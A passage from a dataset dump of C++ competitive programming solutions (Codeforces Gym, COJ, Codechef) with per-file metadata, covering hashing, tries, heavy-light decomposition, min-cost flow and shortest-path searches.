mul(HASH11[i - 1], BASE1, MOD1); add(HASH11[i], val(a[i - 1]), MOD1);\n\t\tHASH12[i] = mul(HASH12[i - 1], BASE2, MOD2); add(HASH12[i], val(a[i - 1]), MOD2);\n\t\tHASH21[i] = mul(HASH21[i - 1], BASE1, MOD1); add(HASH21[i], val(b[i - 1]), MOD1);\n\t\tHASH22[i] = mul(HASH22[i - 1], BASE2, MOD2); add(HASH22[i], val(b[i - 1]), MOD2);\n\t}\n\n\tint x = 0;\n\tint y = 0;\n\n\tfor (int i = 0; i < n; i++) {\n\t\tint _lcp = lcp(x, y);\n\t\tif (a[x + _lcp] < b[y + _lcp]) {\n\t\t\tans[anssz++] = a[x];\n\t\t\tx++;\n\t\t} else {\n\t\t\tans[anssz++] = b[y];\n\t\t\ty++;\n\t\t}\n\t}\n\tfor (int i = 0; i < n; i++) {\n\t\tcout << ans[i];\n\t\tif (i % 80 == 79) {\n\t\t\tcout << \"\\n\";\n\t\t}\n\t}\n\tif (anssz % 80) {\n\t\tcout << \"\\n\";\n\t}\n\n}\n" }, { "alpha_fraction": 0.3185100853443146, "alphanum_fraction": 0.3386545181274414, "avg_line_length": 25.299999237060547, "blob_id": "b0992d00feadf1dd5ac5b6e3df89e8c97f2a6531", "content_id": "2353ad6857b8cd65b746eb8b6736294b2c0e78e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2631, "license_type": "no_license", "max_line_length": 121, "num_lines": 100, "path": "/Codeforces-Gym/100503 - 2014-2015 CT S02E05: Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E05: Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100503K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nconst double EPS = 1e-5;\nconst string OpenReg = \"<ul>\",\n CloseReg = \"</ul>\",\n OpenEnum = \"<ol>\",\n CloseEnum= \"</ol>\",\n OpenItem = \"<li>\",\n CloseItem= \"</li>\";\nint n = 0;\nstring sol;\nstring line[10000];\nvoid solve( int ini, int fin, int cur ){\n if( ini == fin ){\n sol += OpenItem + \"\\n\";\n sol += line[ini].substr( cur, line[ini].size()-cur );\n sol += CloseItem + \"\\n\";\n }\n else{\n for( int i = ini; i <= fin; ){\n sol += OpenItem + \"\\n\";\n int l = 0;\n if( line[i][cur] != '*' && line[i][cur] != '#' ){\n sol += line[i].substr( cur, line[i].size()-cur ) + \"\\n\";\n }\n else{\n\n while( line[i][cur] == line[i+l][cur] && i+l <= fin )\n l++;\n l--;\n if( l == 0 ){\n sol += line[i].substr( cur, line[i].size()-cur ) + \"\\n\";\n }\n else{\n if( line[i][cur] == '*' )\n sol += OpenReg + \"\\n\";\n else\n sol += OpenEnum + \"\\n\";\n\n solve( i, i+l, cur+1 );\n if( line[i][cur] == '*' )\n sol += CloseReg + \"\\n\";\n else\n sol += CloseEnum + \"\\n\";\n }\n }\n i+= l+1;\n sol += CloseItem + \"\\n\";\n }\n\n }\n\n}\n\nint main(){\n\tios::sync_with_stdio(0);\n\tcin.tie(0);\n freopen( \"input.txt\", \"r\", stdin );\n freopen( \"output.txt\", \"w\", stdout );\n\n while( cin >> line[++n] );\n\n for( int i = 1; i <= n; ){\n if( line[i][0] != '*' && line[i][0] != '#' ){\n sol += line[i];\n sol += \"\\n\";\n i++;\n continue;\n }\n int l = 0;\n while( line[i][0] == line[i+l][0] && i+l <= n )\n l++;\n l--;\n\n if( l > 0 ){\n if( line[i][0] == '*' )\n sol += OpenReg + \"\\n\";\n else\n sol += OpenEnum + \"\\n\";\n //cout << \"solve: \" << i << \" \" << i+l << endl;\n solve( i, i+l, 1 );\n\n if( line[i][0] == '*' )\n sol += CloseReg + \"\\n\";\n else\n sol += CloseEnum + \"\\n\";\n\n }\n else{\n sol += line[i] + \"\\n\";\n }\n i += l+1;\n }\n cout << sol << '\\n';\n\n}\n\n" }, { "alpha_fraction": 0.40978941321372986, "alphanum_fraction": 0.4558907151222229, "avg_line_length": 16.49473762512207, "blob_id": "d5eb2203d1225d5c4284c8ad081e7fc0a396c756", "content_id": "46bcd7920dfadef0b0289d6f68c73c2ec250d14b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1757, "license_type": "no_license", "max_line_length": 67, "num_lines": 95, "path": "/COJ/eliogovea-cojAC/eliogovea-p3867-Accepted-s1120041.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 3867 - C1 - Binary Words\r\n\r\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int ALPH = 2;\r\nconst int SIZE = 40 * 20 + 10;\r\n\r\nstruct trie {\r\n\tint go[SIZE][ALPH];\r\n\tbool end[SIZE];\r\n\tint size;\r\n\ttrie() {\r\n\t\tinit();\r\n\t}\r\n\tvoid init() {\r\n\t\tsize = 0;\r\n\t\tgetNew();\r\n\t}\r\n\tint getNew() {\r\n\t\tfor (char c = 0; c < ALPH; c++) {\r\n\t\t\tgo[size][c] = -1;\r\n\t\t}\r\n\t\tend[size] = false;\r\n\t\treturn size++;\r\n\t}\r\n\tint add(const string &s) {\r\n\t\tint n = s.size();\r\n\t\tint now = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tchar c = s[i] - '0';\r\n\t\t\tif (go[now][c] == -1) {\r\n\t\t\t\tgo[now][c] = getNew();\r\n\t\t\t}\r\n\t\t\tnow = go[now][c];\r\n\t\t}\r\n\t\tend[now] = true;\r\n\t\treturn now;\r\n\t}\r\n};\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n1, n2;\r\n\tcin >> n1 >> n2;\r\n\ttrie t1, t2;\r\n\tstring s;\r\n\tfor (int i = 0; i < n1; i++) {\r\n\t\tcin >> s;\r\n\t\tt1.add(s);\r\n\t}\r\n\tfor (int i = 0; i < n2; i++) {\r\n\t\tcin >> s;\r\n\t\tt2.add(s);\r\n\t}\r\n\r\n\tqueue <pair <int, int> > Q;\r\n\tvector <vector <bool> > visited(t1.size, vector <bool> (t2.size));\r\n\tvisited[0][0] = true;\r\n\tQ.push(make_pair(0, 0));\r\n\twhile (!Q.empty()) {\r\n\t\tint p1 = Q.front().first;\r\n\t\tint p2 = Q.front().second;\r\n\t\tQ.pop();\r\n\t\tif (t1.end[p1] && t2.end[p2]) {\r\n\t\t\tcout << \"S\\n\";\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\tif (t1.end[p1]) {\r\n\t\t\tif (!visited[0][p2]) {\r\n\t\t\t\tvisited[0][p2] = true;\r\n\t\t\t\tQ.push(make_pair(0, p2));\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (t2.end[p2]) {\r\n\t\t\tif (!visited[p1][0]) {\r\n\t\t\t\tvisited[p1][0] = true;\r\n\t\t\t\tQ.push(make_pair(p1, 0));\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int c = 0; c < ALPH; c++) {\r\n\t\t\tif (t1.go[p1][c] != -1 && t2.go[p2][c] != -1) {\r\n\t\t\t\tif (!visited[t1.go[p1][c]][t2.go[p2][c]]) {\r\n\t\t\t\t\tvisited[t1.go[p1][c]][t2.go[p2][c]] = true;\r\n\t\t\t\t\tQ.push(make_pair(t1.go[p1][c],t2.go[p2][c]));\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << \"N\\n\";\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.2874999940395355, "alphanum_fraction": 0.34375, "avg_line_length": 16.285715103149414, "blob_id": "0c14533fe737ead9da7bf3b5e5091045ea04d5e7", "content_id": "91d3bd6e87a4d95b7f12064d22c269862d75e80f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 640, "license_type": "no_license", "max_line_length": 47, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p2150-Accepted-s483522.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cstring>\r\nint t,up1,lo1,up2,lo2;\r\nchar c[100];\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&t);\r\n while(t--)\r\n {\r\n scanf(\"%s\",&c);\r\n int l=strlen(c);\r\n int i=1;\r\n for(; 2*i<=l; i++)\r\n {\r\n int j=c[i-1];\r\n if(j<=122 && j>=97)up1++;\r\n else lo1++;\r\n }\r\n\r\n if(l&1)i++;\r\n\r\n for(; i<=l; i++)\r\n {\r\n int j=c[i-1];\r\n if(j<=122 && j>=97)up2++;\r\n else lo2++;\r\n }\r\n if(up1==up2 && lo1==lo2)printf(\"SI\\n\");\r\n else printf(\"NO\\n\");\r\n\r\n up1=up2=lo1=lo2=0;\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.46266523003578186, "alphanum_fraction": 0.4816005825996399, "avg_line_length": 20.039369583129883, "blob_id": "d399c6847987932b43ed2a9f64b5edd48b667a52", "content_id": "bf02c651b95313da69fc9aef55722bebf5d176e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2799, "license_type": "no_license", "max_line_length": 85, "num_lines": 127, "path": "/COJ/eliogovea-cojAC/eliogovea-p1637-Accepted-s650292.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <vector>\r\n#include <cstdio>\r\n#include <cmath>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int MAXN = 100005;\r\n\r\nconst ll inf = 1ll << 60;\r\n\r\nint n, q, cnt;\r\nvector<int> G[MAXN];\r\nint depth[MAXN], chain[MAXN], head[MAXN];\r\nint parent[MAXN], heavy[MAXN], size[MAXN];\r\n\r\nstruct ST {\r\n\tint size;\r\n\tvector<ll> T;\r\n\tST(int sz) {\r\n size = sz;\r\n int tmp = 2 + log2(sz);\r\n\t\ttmp = 1 << tmp;\r\n\t\tT.resize(tmp, 0);\r\n\t}\r\n\tvoid update(int idx, int l, int r, int p, int v) {\r\n\t\tif (p < l || p > r) return;\r\n\t\tif (l == r && l == p) T[idx] += v;\r\n\t\telse {\r\n\t\t\tint mid = (l + r) / 2;\r\n\t\t\tupdate(2 * idx, l, mid, p, v);\r\n\t\t\tupdate(2 * idx + 1, mid + 1, r, p, v);\r\n\t\t\tT[idx] = max(T[2 * idx], T[2 * idx + 1]);\r\n\t\t}\r\n\t}\r\n\tvoid update(int node, int value) {\r\n\t\tupdate(1, 1, size, 1 + depth[node] - depth[head[node]], value);\r\n\t}\r\n\tll query(int idx, int l, int r, int ql, int qr) {\r\n\t\tif (l > qr || r < ql) return -inf;\r\n\t\tif (l >= ql && r <= qr) return T[idx];\r\n\t\tint mid = (l + r) / 2;\r\n\t\treturn max(query(2 * idx, l, mid, ql, qr), query(2 * idx + 1, mid + 1, r, ql, qr));\r\n\t}\r\n\tll query(int a, int b) {\r\n\t\ta = 1 + depth[a] - depth[head[a]];\r\n\t\tb = 1 + depth[b] - depth[head[b]];\r\n\t\tif (a > b) swap(a, b);\r\n\t\treturn query(1, 1, size, a, b);\r\n\t}\r\n};\r\n\r\nvector<ST> chains;\r\n\r\nvoid dfs(int u) {\r\n\tsize[u] = 1;\r\n\tfor (int i = 0; i < G[u].size(); i++) {\r\n\t\tint v = G[u][i];\r\n\t\tif (v == parent[u]) continue;\r\n\t\tparent[v] = u;\r\n\t\tdepth[v] = depth[u] + 1;\r\n\t\tdfs(v);\r\n\t\tif (heavy[u] == -1 || size[v] > size[heavy[u]])\r\n heavy[u] = v;\r\n\t}\r\n}\r\n\r\nvoid heavy_light() {\r\n\tfor (int i = 0; i <= n; i++) heavy[i] = -1;\r\n\tparent[0] = -1;\r\n\tdepth[0] = 0;\r\n\tdfs(0);\r\n\tfor (int i = 0; i <= n; i++)\r\n\t\tif (parent[i] == -1 || heavy[parent[i]] != i) {\r\n\t\t\tint tmp = 0;\r\n\t\t\tfor (int j = i; j != -1; j = heavy[j]) {\r\n\t\t\t\tchain[j] = cnt;\r\n\t\t\t\thead[j] = i;\r\n\t\t\t\ttmp++;\r\n\t\t\t}\r\n\t\t\tcnt++;\r\n\t\t\tchains.push_back(ST(tmp));\r\n\t\t}\r\n}\r\n\r\nvoid update(int node, int value) {\r\n\tchains[chain[node]].update(node, value);\r\n}\r\n\r\nll query(int u, int v) {\r\n\tll ret = -inf;\r\n\twhile (chain[u] != chain[v]) {\r\n\t\tif (depth[head[u]] > depth[head[v]]) {\r\n\t\t\tret = max(ret, chains[chain[u]].query(head[u], u));\r\n\t\t\tu = parent[head[u]];\r\n\t\t}\r\n\t\telse {\r\n\t\t\tret = max(ret, chains[chain[v]].query(head[v], v));\r\n\t\t\tv = parent[head[v]];\r\n\t\t}\r\n\t}\r\n\tret = max(ret, chains[chain[u]].query(u, v));\r\n\treturn ret;\r\n}\r\n\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tscanf(\"%d\", &n);\r\n\tG[0].push_back(1);\r\n\tfor (int i = 1, a, b; i < n; i++) {\r\n\t\tscanf(\"%d%d\", &a, &b);\r\n\t\tG[a].push_back(b);\r\n\t\tG[b].push_back(a);\r\n\t}\r\n\theavy_light();\r\n\tchar op[2];\r\n\tll a, b;\r\n\tscanf(\"%d\", &q);\r\n\twhile (q--) {\r\n\t\tscanf(\"%s%lld%lld\", op, &a, &b);\r\n\t\tif (op[0] == 'I') update(a, b);\r\n\t\telse printf(\"%lld\\n\", query(a, b));\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4299544394016266, "alphanum_fraction": 0.4521639943122864, "avg_line_length": 22.57046890258789, "blob_id": "244487f19bd72191f8a6b349507d2389ebec3ed0", "content_id": "d77a359c3509303d55338cfaa77aff3c25cb7dfa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3512, "license_type": "no_license", "max_line_length": 69, "num_lines": 149, "path": "/Codeforces-Gym/100703 - 2015 V (XVI) Volga Region Open Team Student Programming Contest/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 V (XVI) Volga Region Open Team Student Programming Contest\n// 100703F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int oo = (1<<30);\nconst int MAXV = 500;\nconst int MAXE = 1000010;\n\nstruct edge{\n int dest;\n int cap, flow, cost;\n int next;\n edge(){}\n edge(int dest, int cap, int cost, int next) :\n dest(dest), cap(cap), cost(cost), next(next){flow = 0;}\n};\nint nodes, source, sink;\nint size;\n\nedge g[MAXE];\nint first[MAXV];\nint nLast[MAXV]; //last node\nint eLast[MAXV]; //last edge\nint cst[MAXV];\n\nvoid initialize_MFMC(int __nodes, int __source, int __sink){\n size = 0;\n nodes = __nodes;\n source = __source;\n sink = __sink;\n for(int i = 0; i < nodes; i++)\n first[i] = -1;\n}\n\n//para adicionar un arco no-dirigido (i,j)\n//esta funcion debe llamarse dos veces\n//desde i->j y desde j->i\nvoid addEdge(int u, int v, int c, int cost){\n g[ size ] = edge(v, c, +cost, first[u]);\n first[u] = size++;\n g[ size ] = edge(u, 0, -cost, first[v]);\n first[v] = size++;\n}\n\ntypedef pair<int,int> pii;\npii maxFlowMinCost(int F){\n int flow = 0; int flowCost = 0;\n\n while(flow < F){\n priority_queue<pii> Q;\n for (int i = 0; i < nodes; i++)\n cst[i] = oo;\n\n cst[source] = 0;\n Q.push(make_pair(0, source));\n while(!Q.empty()){\n int u = Q.top().second;\n int c = -Q.top().first;\n Q.pop();\n if(u == sink) break;\n for(int k = first[u]; k != -1; k = g[k].next){\n int newU = g[k].dest;\n int newC = g[k].cost + c;\n if (g[k].cap > g[k].flow && newC < cst[newU]){\n cst[newU] = newC;\n //keep track//\n nLast[newU] = u;\n eLast[newU] = k;\n //keep track//\n Q.push(make_pair(-newC, newU));\n }\n }\n }\n if (cst[sink] == oo) break;\n int push = oo;\n for (int u = sink; u != source; u = nLast[u])\n push = min(push, g[ eLast[u] ].cap - g[ eLast[u] ].flow);\n if(flow + push > F) push = F - flow;\n flow += push;\n flowCost += cst[sink] * push;\n for(int u = sink; u != source; u = nLast[u]){\n g[ eLast[u] ].flow += push;\n g[ eLast[u]^1 ].flow -= push;\n }\n }\n return make_pair(flow, flowCost);\n}\n\nint xs[MAXV];\nint ys[MAXV];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int m,n; cin >> m >> n;\n\n for( int i = 1; i <= n; i++ ){\n cin >> xs[i];\n }\n\n for( int i = 1; i <= n; i++ ){\n cin >> ys[i];\n }\n\n int s = 0 , t = 3;\n int X = 1, Y = 2;\n\n initialize_MFMC( n + 4 , 0 , 3 );\n\n int cap1 = ( m / 2 ) + ( m % 2 );\n int cap2 = ( m / 2 );\n\n addEdge( s , X , cap1 , 0 );\n addEdge( s , Y , cap2 , 0 );\n\n for( int i = 1; i <= n; i++ ){\n addEdge( i + 3 , t , 1 , 0 );\n\n addEdge( X , i + 3 , 1 , xs[i] );\n addEdge( Y , i + 3 , 1 , ys[i] );\n }\n\n pii MCMF = maxFlowMinCost(oo);\n\n int outp = MCMF.second;\n\n initialize_MFMC( n + 4 , 0 , 3 );\n\n addEdge( s , Y , cap1 , 0 );\n addEdge( s , X , cap2 , 0 );\n\n for( int i = 1; i <= n; i++ ){\n addEdge( i + 3 , t , 1 , 0 );\n\n addEdge( X , i + 3 , 1 , xs[i] );\n addEdge( Y , i + 3 , 1 , ys[i] );\n }\n\n MCMF = maxFlowMinCost(oo);\n outp = min( outp , MCMF.second );\n\n cout << outp << '\\n';\n}\n" }, { "alpha_fraction": 0.437165766954422, "alphanum_fraction": 0.4518716633319855, "avg_line_length": 16.700000762939453, "blob_id": "b075cc264ee44e824eba5b75e2d8f8a80c5db1bc", "content_id": "d3c4e387dad214df8bdc877bb4c6122343c9bec0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 748, "license_type": "no_license", "max_line_length": 56, "num_lines": 40, "path": "/COJ/eliogovea-cojAC/eliogovea-p2932-Accepted-s644916.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 105;\r\n\r\nint n, q;\r\nvector<int> G[MAXN];\r\nint mark[MAXN];\r\n\r\nvoid upd(int u) {\r\n\tmark[u] ^= 1;\r\n\tfor (int i = 0; i < G[u].size(); i++) upd(G[u][i]);\r\n}\r\n\r\nint col(int u) {\r\n\tint r = mark[u];\r\n\tfor (int i = 0; i < G[u].size(); i++)\r\n\t\tr += col(G[u][i]);\r\n\treturn r;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\twhile (cin >> n >> q) {\r\n\t\tfor (int i = 0; i < n; i++) G[i].clear(), mark[i] = 0;\r\n\t\tfor (int i = 1, x, y; i < n; i++) {\r\n\t\t\tcin >> x >> y;\r\n\t\t\tG[x].push_back(y);\r\n\t\t}\r\n\t\tfor (int i = 0, a, b; i < q; i++) {\r\n\t\t\tcin >> a >> b;\r\n\t\t\tif (a == 0) upd(b);\r\n\t\t\telse cout << col(b) << '\\n';\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.47046414017677307, "alphanum_fraction": 0.5042194128036499, "avg_line_length": 12.514286041259766, "blob_id": "9019302521db506e9a791ee313751c23d9031a20", "content_id": "9f88e8616b098e24d77f84f5fc6c0d56b0d3dd87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 474, "license_type": "no_license", "max_line_length": 52, "num_lines": 35, "path": "/Codechef/SPRNMBRS.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nint t;\nLL l, r;\n\nint calc(LL n) {\n\tif (n == 0) {\n\t\treturn 0;\n\t}\n\tint res = 1;\n\tfor (LL pow2 = 2; pow2 <= n; pow2 *= 2LL) {\n\t\tfor (LL pow3 = 1; pow3 <= n / pow2; pow3 *= 3LL) {\n\t\t\tres++;\n\t\t}\n\t}\n\treturn res;\n}\n\nint solve(LL l, LL r) {\n\treturn calc(r) - calc(l - 1);\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> l >> r;\n\t\tcout << solve(l, r) << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.3472222089767456, "alphanum_fraction": 0.3958333432674408, "avg_line_length": 14, "blob_id": "5e6cac77cdd1bc01205cc7d7375aa763b93655e0", "content_id": "fce5a6c5630529461a3adc5b836635677594be72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 288, "license_type": "no_license", "max_line_length": 38, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p1150-Accepted-s515827.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cstring>\r\n\r\nchar n[10];\r\nint l;\r\n\r\nint main()\r\n{\r\n for(int i=0; i<1000; i++)\r\n {\r\n scanf(\"%s\",&n);\r\n l=strlen(n);\r\n if(l>1 && n[l-1]=='0' )\r\n printf(\"2\\n\");\r\n else printf(\"1\\n%c\\n\",n[l-1]);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3286452293395996, "alphanum_fraction": 0.3513203263282776, "avg_line_length": 22.226667404174805, "blob_id": "4dba59da6b015c42a6105009a72be82463973b50", "content_id": "353218c7758b3ef6b344f758654d79425d7c0ab8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3484, "license_type": "no_license", "max_line_length": 134, "num_lines": 150, "path": "/Codeforces-Gym/101095 - 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)\n// 101095K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef pair<int,int> par;\n\nstruct st{\n int i, j, mask;\n st( int ii, int jj, int maskk ){\n i = ii;\n j = jj;\n mask = maskk;\n }\n\n bool operator < ( const st &o ) const {\n return i + j + mask < o.i + o.j + o.mask;\n }\n};\n\ntypedef pair<int,st> kk;\n\nconst int MAXN = 110;\nconst int oo = ( 1 << 29 );\n\nint n, m;\n\nint movI[] = { 0 , 1 , 0 , -1 };\nint movJ[] = { 1 , 0 , -1 , 0 };\n\nstring s[MAXN];\nint door[MAXN][MAXN];\nint key[MAXN][MAXN];\n\nbool can_move( int i, int j ){\n return ( i >= 0 && j >= 0 && i < n && j < m && s[i][j] != '#' );\n}\n\nint getv( char c ){\n if( c == 'B' || c == 'b' ){\n return 0;\n }\n\n if( c == 'Y' || c == 'y' ){\n return 1;\n }\n\n if( c == 'R' || c == 'r' ){\n return 2;\n }\n\n if( c == 'G' || c == 'g' ){\n return 3;\n }\n\n return -1;\n}\n\nbool is_door( int i, int j ){\n return ( s[i][j] == 'B' || s[i][j] == 'Y' || s[i][j] == 'R' || s[i][j] == 'G' );\n}\n\nbool is_key( int i, int j ){\n return ( s[i][j] == 'b' || s[i][j] == 'y' || s[i][j] == 'r' || s[i][j] == 'g' );\n}\n\nbool mk[MAXN][MAXN][16];\nint dp[MAXN][MAXN][16];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n while( cin >> n >> m, ( n && m ) ){\n par ini;\n\n for( int i = 0; i < n; i++ ){\n for( int j = 0; j < m; j++ ){\n door[i][j] = key[i][j] = 0;\n\n for( int mask = 0; mask < 16; mask++ ){\n mk[i][j][mask] = false;\n dp[i][j][mask] = oo;\n }\n }\n }\n\n for( int i = 0; i < n; i++ ){\n cin >> s[i];\n\n for( int j = 0; j < m; j++ ){\n int v = getv( s[i][j] );\n if( is_door( i , j ) ){\n door[i][j] = ( 1 << v );\n }\n\n if( is_key( i , j ) ){\n key[i][j] = ( 1 << v );\n }\n\n if( s[i][j] == '*' ){\n ini = par( i , j );\n }\n }\n }\n\n dp[ ini.first ][ ini.second ][0] = 0;\n priority_queue<kk> pq;\n pq.push( kk( 0 , st( ini.first , ini.second , 0 ) ) );\n\n bool ok = false;\n\n while( !pq.empty() ){\n st x = pq.top().second; pq.pop();\n\n if( mk[ x.i ][ x.j ][ x.mask ] ){\n continue;\n }\n\n mk[ x.i ][ x.j ][ x.mask ] = true;\n if( s[x.i][x.j] == 'X' ){\n cout << \"Escape possible in \" << dp[x.i][x.j][x.mask] << \" steps.\\n\";\n ok = true;\n break;\n }\n\n for( int k = 0; k < 4; k++ ){\n int ni = x.i + movI[k];\n int nj = x.j + movJ[k];\n\n if( can_move( ni , nj ) && ( !door[ni][nj] || (door[ni][nj] & x.mask) ) ){\n int nmask = ( x.mask | key[ni][nj] );\n\n if( dp[ni][nj][nmask] > dp[x.i][x.j][x.mask] + 1 ){\n dp[ni][nj][nmask] = dp[x.i][x.j][x.mask] + 1;\n pq.push( kk( -dp[ni][nj][nmask] , st( ni , nj , nmask ) ) );\n }\n }\n }\n }\n\n if( !ok ){\n cout << \"The poor student is trapped!\\n\";\n }\n }\n}\n" }, { "alpha_fraction": 0.3651399612426758, "alphanum_fraction": 0.3905852437019348, "avg_line_length": 16.863636016845703, "blob_id": "26eff8f1ca1370e428b36ed0c6982243b6d72f2c", "content_id": "c1584cd0c308cda2dfe187dfdd4ac9b6e7c331c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 786, "license_type": "no_license", "max_line_length": 56, "num_lines": 44, "path": "/Codeforces-Gym/100861 - 2008-2009 ACM-ICPC, NEERC, Moscow Subregional Contest/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2008-2009 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100861A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\n\n map <string, int> f;\n\n vector <string> answer;\n\n while (n--) {\n string a, b;\n cin >> a >> b;\n\n if( answer.size() == 10 ){\n continue;\n }\n\n if (a == \"MSU\") {\n if (f[a] < 4) {\n answer.push_back(a + \" \" + b);\n }\n } else {\n if (a != \"SCH\" && f[a] < 2) {\n answer.push_back(a + \" \" + b);\n }\n }\n f[a]++;\n }\n\n cout << answer.size() << \"\\n\";\n for (auto s : answer) {\n cout << s << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.3690204918384552, "alphanum_fraction": 0.4168564975261688, "avg_line_length": 22.38888931274414, "blob_id": "5e7228b4d145ae03ad93e3d2db67bd0f704b6a90", "content_id": "8cd4ae3eae18c62a951b741c5ae65d8a9ad11f6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 878, "license_type": "no_license", "max_line_length": 72, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p2890-Accepted-s620097.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n#include <cmath>\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005;\r\nconst double eps = 1e-5;\r\n\r\nint n;\r\ndouble x[MAXN], v[MAXN], sol;\r\n\r\ndouble f(double t) {\r\n double mx = -1e10;\r\n double mn = 1e10;\r\n for (int i = 0; i < n; i++)\r\n mx = max(mx, x[i] + t * v[i]),\r\n mn = min(mn, x[i] + t * v[i]);\r\n return mx - mn;\r\n}\r\n\r\nint main() {\r\n while (scanf(\"%d\", &n) && n) {\r\n for (int i = 0; i < n; i++)\r\n \tscanf(\"%lf%lf\", &x[i], &v[i]);\r\n double lo = 0.0, hi = 1e10;\r\n int iter = 0;\r\n while (iter < 350) {\r\n double t1 = lo + (hi - lo) / 3.0, t2 = hi - (hi - lo) / 3.0;\r\n double x1 = f(t1), x2 = f(t2);\r\n if (x1 > x2) lo = t1, sol = x2;\r\n else hi = t2,sol = x1;\r\n iter++;\r\n }\r\n printf(\"%.2lf\\n\", sol);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3979007601737976, "alphanum_fraction": 0.46183204650878906, "avg_line_length": 23.372093200683594, "blob_id": "ffc9d920e941cb628ced3827757c360c1b2db4b1", "content_id": "2c775c99e551b8bdea4fc831c01241164044b37e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1048, "license_type": "no_license", "max_line_length": 52, "num_lines": 43, "path": "/Codeforces-Gym/101064 - 2016 USP Try-outs/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016 USP Try-outs\n// 101064A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n double h, w;\n cin >> h >> w;\n vector <pair <double, double> > p(4);\n for (int i = 0; i < 4; i++) {\n cin 